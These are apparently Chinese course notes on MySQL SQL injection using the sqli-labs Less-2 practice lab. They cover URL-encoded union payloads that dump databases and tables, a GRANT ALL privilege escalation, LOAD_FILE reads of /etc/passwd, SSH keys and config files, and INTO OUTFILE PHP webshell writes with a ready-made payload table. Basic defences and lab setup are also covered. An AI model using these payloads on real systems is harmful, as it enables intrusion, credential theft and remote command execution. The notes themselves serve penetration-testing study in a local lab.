SELECT获取回显位4. 查询库名→表名→字段名→数据。关键函数/表information_schema.schemata库名、tables表名、columns字段名易错点字段数量需匹配联合查询。⭐⭐⭐⭐跨库查询实战通过高权限注入其他数据库如test库1. 查询库名→SELECT schema_name FROM information_schema.schemata2. 查表名→SELECT table_name FROM information_schema.tables WHERE table_schema0x…16进制编码库名。16进制编码应用库名/表名需转为16进制如test→0x74657374精确查询需指定库名.表名避免多库同名表干扰。⭐⭐⭐⭐高权限读写操作读文件LOAD_FILE()函数读取服务器文件写文件INTO OUTFILE写入Web后门。前提1. 绝对路径已知2. 目录有写权限。风险提示实战中需注意文件权限和路径合法性易混淆点低权限用户无法使用读写功能。⭐⭐⭐⭐⭐高低版本差异高版本≥5.0支持information_schema系统库低版本5.0无系统库需盲注或暴力猜解。实战趋势现代系统多为高版本低版本罕见但仍需了解。⭐⭐SQL注入之高权限注入1.注入流程与上节实例相同查询所有数据库名称http://localhost/sqli-labs-master/Less-2/?id-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata查询数据库对应的表名http://localhost/sqli-labs-master/Less-2/?id-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema0x74657374查询表名对应的字段名http://localhost/sqli-labs-master/Less-2/?id-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name0x7431查询数据http://localhost/sqli-labs-master/Less-2/?id-2%20union%20select%201,name,pass%20from%20test.t12.4.2 高权限SQL注入逻辑整理一、高权限SQL注入的核心概念在数据库中存在系统用户高权限用户与普通用户低权限用户的区别高权限系统用户拥有整个数据库的操作权限可以查看所有数据库对服务器文件进行读写操作普通用户只拥有部分已配置的权限通常只能访问单个数据库可能无法进行文件读写关键点当获取到高权限用户如root权限时不仅可以查看所有数据库还可以对服务器文件进行读写操作实现更全面的控制。二、MySQL权限体系MySQL权限验证遵循特定顺序从高到低依次为user表全局权限存放用户账户信息及全局级别权限db表数据库级别权限决定用户可以访问哪些数据库tables_priv表表级别权限决定用户可以访问哪些表columns_priv表列级别权限决定用户可以访问哪些列权限验证流程先从user表验证用户身份Host, User, Password通过验证后按user → db → tables_priv → columns_priv顺序检查权限如果某级权限为Y就不再检查下一级三、高权限注入的关键步骤1. 识别当前权限级别首先确认当前注入点的权限级别SELECT*FROMuserWHEREuser当前用户名ANDhost当前主机\G;2. 获取高权限用户信息如果当前是低权限用户尝试获取高权限用户信息SELECTuser,host,passwordFROMmysql.userWHEREuserroot;3. 提升当前用户权限如果可能如果当前用户有权限修改权限表可以执行GRANTALLPRIVILEGESON*.*TO当前用户名当前主机WITHGRANTOPTION;4. 获取高权限后进行的操作查看所有数据库读取服务器文件写入Webshell执行系统命令四、注入代码解释1. 查询所有数据库名称http://localhost/sqli-labs-master/Less-2/?id-2 union select 1,group_concat(schema_name),3 from information_schema.schemata-2使原始查询条件为假确保union后的结果成为唯一结果group_concat(schema_name)将所有数据库名连接成一个字符串information_schema.schemata系统表存储所有数据库信息效果获取所有数据库名称2. 查询指定数据库的表名http://localhost/sqli-labs-master/Less-2/?id-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema0x74657374table_schema0x746573740x74657374是test的十六进制表示group_concat(table_name)将表名连接成一个字符串效果获取test数据库中的所有表名3. 查询指定表的字段名http://localhost/sqli-labs-master/Less-2/?id-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name0x7431table_name0x74310x7431是t1的十六进制表示group_concat(column_name)将字段名连接成一个字符串效果获取t1表中的所有字段名4. 查询数据http://localhost/sqli-labs-master/Less-2/?id-2 union select 1,name,pass from test.t1from test.t1从test数据库的t1表中查询效果获取t1表中的name和pass字段数据五、高权限注入的关键区别低权限用户只能查询当前数据库如test的内容无法查看其他数据库高权限用户可以查询所有数据库执行文件操作如SELECT LOAD_FILE(/etc/passwd)和写文件操作如SELECT webshell内容 INTO OUTFILE /var/www/html/shell.php六、高权限注入的实现步骤确认当前权限通过查询user表确定当前用户权限级别获取高权限如果当前用户有权限执行GRANT ALL PRIVILEGES...提升权限如果没有权限尝试利用其他漏洞获取高权限获取高权限后操作查询所有数据库SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata读取服务器文件SELECT LOAD_FILE(/etc/passwd)写入WebshellSELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php七、重要注意事项权限提升限制只有当前用户有GRANT权限时才能提升自身权限文件操作限制LOAD_FILE()需要文件可读INTO OUTFILE需要secure_file_priv配置允许写入需要FILE权限安全防护高权限SQL注入是严重安全漏洞应通过以下方式防护使用参数化查询限制数据库用户权限定期更新数据库和应用高权限SQL注入的核心在于获取到具有ALL PRIVILEGES权限的用户通常是root从而实现对数据库服务器的全面控制。在实际渗透测试中获取高权限是进行进一步攻击的关键步骤。2.5 SQL注入之文件读写_笔记一、文件读写00:051. 文件读写条件05:201MySQL文件读写权限配置06:08权限查看命令: 使用show global variables like %secure%查看MySQL全局变量配置关键参数: secure_file_priv参数控制文件读写权限文件读写权限配置必要条件:需要具备secure_file_priv权限必须知道网站绝对路径Windows常见路径:Phpstudy: phpstudy/wwwXampp: xampp/htdocsWamp: wamp/wwwsecure_file_priv参数详解三种配置值:空值: 如secure_file_priv‘’表示拥有绝对读写权限NULL: 表示禁止任何文件读写操作即使是root权限也无法执行指定路径: 如secure_file_priv‘d:/phpstudy/mysql’表示仅能对该路径下的文件进行读写文件操作函数读取函数: load_file()写入函数:into outfile: 可写入多行按格式输出into dumpfile: 只能写入一行且无格式输出路径限制: outfile后面不能接0x开头或char转换的路径必须使用单引号路径配置文件位置Windows系统:主配置文件为my.ini在[mysqld]段中配置secure_file_priv参数Linux系统:配置文件为/etc/my.cnf同样在[mysqld]段中配置注意事项路径格式: MySQL中使用正斜杠/而非反斜杠\权限验证: 即使拥有root权限若secure_file_priv设为NULL也无法进行文件操作路径限制: 当指定具体路径时只能在该路径及其子目录下进行操作二、文件读写26:551. 路径的查询27:17常见方式通过遗留文件、报错信息、平台配置文件等方式获取网站绝对路径典型路径Phpstudyphpstudy/www 或 phpstudy/PHPTutorial/wwwXamppxampp/htdocsWampwamp/wwwAppserappser/wwwLinux系统/var/mysql/data 或 /var/www/html查询技巧使用搜索引擎语法如inurl:phpinfo.php或inurl:edu.cn warning查找可能泄露路径的页面2. 文件读写27:541写入文件28:00核心函数load_file()\operatorname{load_file}()load_file()读取文件内容常用于union查询字段into outfile\operatorname{into\ outfile}into outfile可写入多行并按格式输出into dumpfile\operatorname{into\ dumpfile}into dumpfile只能写入单行且无格式输出关键区别输出能力outfile支持多行写入dumpfile仅单行格式控制outfile保持格式dumpfile无格式要求路径限制不能使用0x或char转换的路径必须用单引号路径例题:写入文件操作28:39操作要点使用union select构造查询语句在回显点位置插入写入内容必须注释掉原查询尾部如使用–验证写入文件权限secure_file_priv设置三、文件读写注入28:531. 文件读写注入原理本质利用数据库高权限账户的文件操作能力前提条件获取网站绝对路径数据库账户具有FILE权限secure_file_priv参数无限制或允许目标目录2. 文件写入函数29:16典型应用查看config.php获取数据库密码读取apache配置文件写入webshell后门文件注意事项Windows路径需使用双反斜杠或正斜杠文件内容需避开特殊字符干扰3. 文件路径29:34获取方式通过phpinfo等遗留文件数据库报错信息平台默认安装路径搜索引擎批量查找4. 应用案例29:491例题:文件写入操作实战步骤确认注入点位置和回显字段构造union select语句包含写入内容指定into outfile目标路径使用注释符处理原查询结尾验证文件是否成功写入典型错误路径格式不正确缺少引号或转义符未处理原查询尾部导致语法错误目标目录无写入权限四、知识小结知识点核心内容考试重点/易混淆点难度系数文件读写权限高权限(root)是文件读写的前提条件需配合secure_file_priv参数配置secure_file_priv三种状态空值(完全权限)、NULL(无权限)、指定路径(限定权限)⭐⭐⭐读取函数LOAD_FILE()函数实现文件读取支持单引号或16进制路径格式路径需用反斜杠转义正斜杠会导致读取失败⭐⭐写入函数INTO OUTFILE/DUMPFILE实现文件写入前者支持多行后者单行写入需注释后续语句(–)避免语法错误⭐⭐⭐⭐实战路径获取通过报错信息/遗留文件(如phpinfo)/平台规范路径收集目标路径Windows常见路径phpstudy/3w目录Linux常见路径/var/www/html⭐⭐⭐⭐敏感信息定位数据库配置文件(如config.php)、用户凭证文件(/etc/passwd)等高价值目标MySQL配置文件位置Windows(my.ini) / Linux(/etc/my.cnf)⭐⭐⭐防御绕过技巧16进制编码路径绕过魔术引号过滤双斜杠转义特殊字符0x前缀的16进制路径需保持完整编码⭐⭐⭐⭐当然可以以下是一份关于SQL注入之文件读写的详细笔记以sqli-labs 的 Less-2 靶场为例进行讲解。内容涵盖原理、前提条件、利用方式、防御措施及实战示例适合学习与复习。2.5.1 SQL注入之文件读写笔记——以 sqli-labs Less-2 为例一、靶场环境说明Less-2类型基于数字型的 SQL 注入无单引号包裹URL 示例http://your-ip/sqli/Less-2/?id1后端 SQL 语句大致为SELECT*FROMusersWHEREid$idLIMIT0,1;其中$id是直接拼接用户输入未过滤例如id1→SELECT * FROM users WHERE id 1✅ 因此Less-2 是一个典型的数字型 SQL 注入点适合进行 UNION 查询、报错注入、盲注以及文件读写操作。二、SQL 文件读写基础原理MySQL 提供了两个用于文件操作的函数函数功能LOAD_FILE(file_path)读取服务器上的文件需满足权限和路径要求INTO OUTFILE /path/file或INTO DUMPFILE /path/file将查询结果写入服务器文件⚠️ 注意这些功能仅在MySQL 服务具有相应文件系统权限且secure_file_priv 设置允许的情况下才能使用。三、前提条件1. 权限要求MySQL 用户需具备FILE权限可通过SELECT current_user(), version;SHOW GRANTS;查看Web 应用连接数据库的账号通常不具备 FILE 权限但在某些 CTF 或实验环境中会开放。2. secure_file_priv 限制查看配置SHOWVARIABLESLIKEsecure_file_priv;若返回NULL禁止所有文件导入导出。若返回路径如/var/www/html/只能在此目录下读写。若返回空字符串可在任意路径读写危险。在 sqli-labs 环境中通常设置为或/var/www/html/便于练习。四、文件读取读敏感文件1. 基本语法UNIONSELECT1,2,LOAD_FILE(/etc/passwd)--2. Less-2 实战示例目标读取 Linux 系统的/etc/passwd文件Payloadhttp://your-ip/sqli/Less-2/?id-1 UNION SELECT 1,2,LOAD_FILE(/etc/passwd)-- 说明使用-1使原查询无结果避免干扰第3列用于显示文件内容根据页面回显位置调整路径需使用绝对路径且文件必须可读3. 其他常见读取目标/etc/shadow需 root 权限通常不可读Web 配置文件/var/www/html/config.phpSSH 密钥/root/.ssh/id_rsa日志文件用于日志写 shell/var/log/apache2/access.log 注意LOAD_FILE()一次最多读取1MB数据且不能读二进制文件会乱码。五、文件写入写 WebShell1. 写入语法SELECT?php system($_GET[cmd]); ?INTOOUTFILE/var/www/html/shell.php;2. Less-2 实战示例目标在 Web 目录写入一句话木马Payload需闭合原语句并执行写入http://your-ip/sqli/Less-2/?id1 UNION SELECT 1,2,?php eval($_POST[1]);? INTO OUTFILE /var/www/html/shell.php--⚠️ 注意必须确保写入路径在 Web 可访问目录如/var/www/html/若secure_file_priv限制为某目录只能写入该目录INTO OUTFILE会覆盖同名文件且不能写已存在文件安全机制3. 写入技巧使用十六进制绕过引号过滤虽然 Less-2 不需要SELECT0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3eINTOOUTFILE/var/www/html/shell.php;对应?php system($_GET[cmd]); ?的 hex使用INTO DUMPFILE可写二进制文件如图片马但通常OUTFILE更常用。六、验证写入是否成功访问http://your-ip/shell.php使用蚁剑、冰蝎或直接 POST 请求测试curl-d1phpinfo();http://your-ip/shell.php七、防御措施防御手段说明使用预编译Prepared Statements彻底杜绝 SQL 拼接最小权限原则数据库账号不授予 FILE 权限设置secure_file_priv限制文件读写路径WAF / 输入过滤拦截LOAD_FILE、INTO OUTFILE等关键字禁用危险函数在 php.ini 中禁用system、exec等防 WebShell 执行八、总结流程图发现注入点Less-2 数字型 ↓ 确认回显位UNION SELECT 1,2,3 ↓ 检查 FILE 权限 secure_file_priv ↓ 读取敏感文件LOAD_FILE ↓ 写入 WebShellINTO OUTFILE ↓ 连接 Shell获取服务器控制权九、附常用 Payload 汇总目标Payload读 /etc/passwd?id-1 UNION SELECT 1,2,LOAD_FILE(/etc/passwd)--读 config.php?id-1 UNION SELECT 1,2,LOAD_FILE(/var/www/html/config.php)--写 Shell?id1 UNION SELECT 1,2,?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php--查权限?id-1 UNION SELECT 1,2,GRANTS_FOR(current_user())--需调整语法查 secure_file_priv?id-1 UNION SELECT 1,2,secure_file_priv-- 提示在 Less-2 中由于是数字型注入无需闭合引号直接拼接即可。希望这份笔记能帮助你系统掌握SQL注入中的文件读写技术建议在本地搭建 sqli-labs 环境动手实践加深理解。如需扩展到其他 Less如 Less-1 单引号型、Less-5 报错注入等也可参考类似思路调整 payload。2.6 SQL注入之基础防御_笔记一、SQL注入00:001. 什么是SQL注入定义: 通过构造特殊SQL语句利用应用程序对用户输入数据过滤不严的漏洞实现对数据库的非授权操作关键要素:需要网站使用数据库用户输入被拼接到SQL语句中输入数据未被充分过滤2. SQL注入之MYSQL语句语法00:26文件读写函数:load_file(): 用于读取文件内容into outfile: 可写入多行按格式输出into dumpfile: 只能写入一行且无格式路径要求:必须知道网站绝对路径Windows常见路径: phpstudy/www, xampp/htdocs等Linux常见路径: /var/www/html, /var/mysql/data等获取方式: 报错显示、遗留文件、漏洞报错等路径格式:必须使用单引号包裹路径路径中斜杠应为/而非\outfile后不能接0x或char转换的路径防御手段:魔术引号(Magic Quote)会自动转义特殊字符建议在运行时根据需要转义而非编码时转义3. SQL注入防御机制魔术引号功能:自动转义单引号()、双引号()、反斜线()和NULL字符在php.ini中通过magic_quotes_gpc配置开关配置建议:建议设置为Off状态原因: 影响程序移植性、增加性能开销PHP6已移除该功能替代方案:使用addslashes()函数手动转义使用mysql_real_escape_string()等专用函数配置位置:在php.ini文件中修改magic_quotes_gpc值On表示开启转义功能Off表示关闭转义功能实际影响:开启时会在特殊字符前自动添加反斜线可能导致文件读写操作失败(路径被转义)防御效果有限存在多种绕过方法二、SQL注入之基础防御02:021. 魔术引号04:391php.ini文件配置讲解配置位置在php.ini文件中找到magic_quotes_gpc参数进行设置开关状态On开启魔术引号功能Off关闭魔术引号功能作用原理自动对进入PHP脚本的数据进行转义在特殊字符如单引号、双引号、反斜杠等前添加反斜杠相关参数magic_quotes_gpc控制GET/POST/Cookie数据的转义magic_quotes_runtime控制运行时生成数据的转义magic_quotes_sybase控制Sybase风格转义用两个单引号代替反斜杠2应用案例05:31例题:GET传输路径错误问题处理问题现象当尝试通过GET方式传递文件路径参数时系统报语法错误错误分析魔术引号开启时系统会自动在特殊字符前添加反斜杠导致原本正确的文件路径被修改如’d:/d.txt’变为’d:/d.txt’修改后的路径不符合SQL语法规范导致执行失败解决方法关闭魔术引号功能将magic_quotes_gpc设为Off重启Apache服务使配置生效重新测试文件读取功能服务操作停止Apache服务修改php.ini配置文件重新启动Apache服务验证配置是否生效2. 内置函数防御1数据类型判断防御原理在接收用户输入参数时对数据类型进行严格校验常用函数is_int()检查变量是否为整数addslashes()手动添加反斜杠转义mysql_real_escape_string()MySQL专用转义函数str_replace()替换特定危险字符实现方式在$id参数接收后、SQL执行前添加类型检查逻辑2防御实现示例关键修改点在接收$id参数后添加类型检查检查逻辑验证输入是否为纯数字非数字输入直接拒绝处理仅允许符合预期的输入进入SQL查询优势从根本上杜绝SQL注入的可能性局限性可能影响部分合法业务场景需要根据实际情况调整3. 内置函数11:471关键字过滤19:07is_int()函数用于检测变量是否为整数类型返回布尔值示例is_int(23)返回trueis_int(‘23’)返回false注意表单输入通常为字符串需使用is_numeric()检测数字字符串别名函数is_integer()和is_long()类型判断系列函数is_array()判断是否为数组is_bool()判断是否为布尔类型is_double()判断是否为双精度浮点数其他is_binary(), is_buffer(), is_callable()等应用场景对用户输入进行数据类型验证防止SQL注入时判断输入是否为纯数字示例if(is_int($id)){执行SQL}例题:关键字过滤应用19:45类型强转技巧使用(int)强制转换id(int)id (int)id(int)_GET[‘id’]效果将字符串1转为整数1非数字部分会被截断注意GET传输的数据默认都是字符串类型防御机制结合is_int()和类型强转进行双重验证非数字输入会触发else分支返回错误提示示例错误信息“你输入的数据不正经”2str_replace()函数21:14函数功能查找替换字符串中的指定内容区分大小写语法str_replace(查找值, 替换值, 被搜索字符串)二进制安全可处理数组和字符串SQL关键字过滤将危险关键词替换为无害字符示例idstrreplace(select,mc,id str_replace(select, mc,idstrreplace(select,mc,_GET[‘id’])效果select被替换为mc导致SQL语法错误例题:str_replace()函数应用22:09实际应用防御联合查询注入过滤union select等关键词注意需要构建完整的关键词库select, insert, update等绕过方法大小写变异、注释符分割等后续讲解多层防御组合使用类型检查、关键字过滤和魔术引号专业防护WAFWeb应用防火墙软件典型产品安全狗、宝塔等防护系统三、知识小结知识点核心内容考试重点/易混淆点难度系数文件高权限读写讲解文件读取和写入操作中路径的重要性路径格式的正反斜杠处理⭐⭐⭐魔术引号防御机制PHP自带函数对单引号/双引号/斜杠自动添加反斜杠magic_quotes_gpc配置项的开关影响⭐⭐⭐⭐内置函数过滤is_int()判断数据类型、str_replace()过滤关键字数据类型强制转换的防御绕过⭐⭐⭐⭐安全软件防护WAF/安全狗/宝塔等安全软件的防御原理商业级防护与基础防御的差异⭐⭐⭐⭐⭐SQL注入路径特性文件读写操作必须依赖准确路径单引号在路径构造中的关键作用⭐⭐⭐防御手段对比魔术引号 vs 内置函数 vs 安全软件各类防御措施的优缺点分析⭐⭐⭐⭐2.7 sqli-labs安装常见问题_笔记一、SQL注入之WAF绕过00:021. SQL注入基础入门1SQL注入之sqli-labs环境搭建00:18Sqli-labs环境安装环境需求需要搭建ApacheMySQLPHPApache MySQL PHPApacheMySQLPHP环境推荐使用PHPStudy集成环境工具获取GitHub项目地址https://github.com/Audi1/sqlilabs版本选择sqli-labs-for7.zip兼容PHP7版本无需降级sqli-labs-master.zip原版需将PHP版本降至3.2/3.3安装步骤解压phpStudy安装包并运行phpstudy_x64.exe选择自定义安装到非C盘路径安装完成后启动Apache和MySQL服务将sqli-labs源码解压到网站根目录常见问题错误提示“Unable to connect to the database: security”解决方法必须首先访问Setup/reset Database for labs页面初始化数据库初始化效果会自动创建名为security的数据库及所需数据表环境验证确保Apache和MySQL服务正常运行访问localhost/sqli-labs-master/应显示关卡选择页面成功初始化后选择Less-1应显示ID输入提示而非数据库错误二、安装时的问题04:22关键提醒安装前需卸载已有MySQL服务避免冲突安装路径不能包含中文或空格必须记住phpStudy的安装目录首次使用必须执行数据库初始化操作版本兼容性推荐新手使用for7版本减少环境配置两个版本功能完全一致仅PHP兼容性不同三、知识小结知识点核心内容考试重点/易混淆点难度系数Super Labs环境搭建需准备PHP环境、Apache服务器推荐使用PHPStudy工具包包含源码和安装包已上传百度云注意区分server-labs-master需降PHP版本至3.2/3.3和server-labs-for7兼容PHP7⭐⭐数据库初始化问题启动靶场前需点击Setup/reset database for labs创建数据库否则报错auto connection to the database failed错误表现为关卡无法正常加载应显示ID输入框⭐⭐工具包使用说明PHPStudy压缩包解压即用源码分新旧两版功能一致但PHP版本要求不同新版for7免降级旧版需调整PHPStudy配置⭐